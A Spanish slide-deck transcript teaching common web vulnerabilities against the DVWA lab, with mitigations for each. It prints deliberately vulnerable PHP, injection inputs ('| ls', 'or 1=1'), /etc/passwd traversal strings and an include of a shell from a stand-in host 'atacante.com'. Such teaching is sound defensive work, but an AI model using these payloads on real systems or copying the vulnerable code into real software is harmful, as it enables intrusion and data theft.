Vulnerabilidades en aplicaciones web
description
Transcript of Vulnerabilidades en aplicaciones web
VULNERABILIDADES EN APLICACIONES WEB
www.realtic.es
¿DE QUE VA ESTO?
¿POR QUÉ SERGURIDAD EN LA WEB?
¿QUÉ VULNERABILIDADES VAMOS A VER?
•OS Commanding •Local File Inclusion (LFI) •Remote File Inclusion (RFI) •SQL Injection •Blind SQL Injection •Unrestricted File Upload •Cross-site scripting (XSS)
DEMO
Damn Vulnerable Web Application (DVWA)
www.dvwa.co.uk
http://www.dvwa.co.uk/DVWA-1.0.7.iso
OS COMMANDING Ataque que permite la ejecución no autorizada de comandos en el sistema operativo del servidor web
<?php passthru("/bin/ping " . $_GET[‘IP’]); ?>
Podemos realizar este ataque ingresando “;” o “|” (dependiendo del sistema operativo) IP = 192.168.1.1 | ls
SOLUCIÓN: Filtrar correctamente los parámetros recibidos por el cliente.
OS COMMANDING
DEMO
LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().
<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>
LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().
<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>
/vulnerable.php?pagina=../../../../../../../../etc/passwd%00
REMOTE FILE INCLUSION
Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen
REMOTE FILE INCLUSION
Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen
http://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-lfi/
REMOTE FILE INCLUSION
<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( $pagina . '.php' ); } else { include( ‘index.php' ); } ?>
/vulnerable.php?pagina=http://www.google.com? /vulnerable.php?pagina=http://atacante.com/shell.txt?
Ejemplo:
Soluciones: •Filtrar los valores recibidos por el usuario $pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);
IMPORTANTE: ¡¡Solo aceptar los caracteres necesarios!!
$pagina = str_replace('../', '', $_GET[‘pagina’]); /vulnerable.php?pagina=..%2F..%2F..%2F..%2Fetc%2Fpasswd - OWNED!!
• Almacenar las distintas opciones válidas en un array y comprobar si se encuentra en dicho array $paginas = array('principal', ‘blog', 'contacto'); if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas))
•Desactivar allow_url_include y allow_url_fopen •No confiar nunca en el usuario, y, por lo tanto, no incluir nada que un usuario pueda modificar.
LOCAL FILE INCLUSION &
REMOTE FILE INCLUSION
DEMO
SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);
SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.
Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);
SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.
Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘a’ or ‘1’=‘1’ AND Password=‘a’ or ‘1’=‘1’;”);
SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1;
Mostraría en este caso, admin
SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1;
/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;
También mostraría admin
SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1;
/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;
/vulnerable.php?id=1 and 1=2 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=2;
No mostraría nada
SQL INJECTION & BSQL INJECTION Soluciones:
•Validar y filtrar los datos de entrada, en particular, los caracteres especiales. •Es muy recomendable utilizar prepared statements para todas las consultas SQL •Ocultar los mensajes explícitos de error que muestren las consultas. •Restringir al mínimo los privilegios de las cuentas que se usan.
SQL INJECTION &
BLIND SQL INJECTION
DEMO
UNRESTRICTED FILE UPLOAD Esta vulnerabilidad se produce cuando en una aplicación que contiene un “file upload” no se hace una validación estricta de los tipos de ficheros que se pueden subir, provocando que un atacante pueda ejecutar código en el servidor o tomar el control del mismo.
Soluciones: - Denegar permiso de ejecución en el directorio donde se suben los archivos. - Verificar MIME-TYPE. - Verificar (correctamente) la extensión del archivo.
UNRESTRICTED FILE UPLOAD
DEMO
CROSS-SITE SCRIPTING (XSS) Fallo que se produce cuando no se valida la entrada de datos desde el cliente, provocando que se pueda inyectar código HTML en el resultado de la página.
Existen 2 tipos de ataque XSS: •No persistente •Persistente
Por este ataque, se puede obtener del usuario: •Predicción del Id de sesión. •Robo de Cookies. •Ejecución de código malicioso.
htmlentities - NO SIEMPRE ES LA SOLUCIÓN DEFINITIVA
CROSS-SITE SCRIPTING (XSS)
DEMO
¿Preguntas?
¡¡GRACIAS!!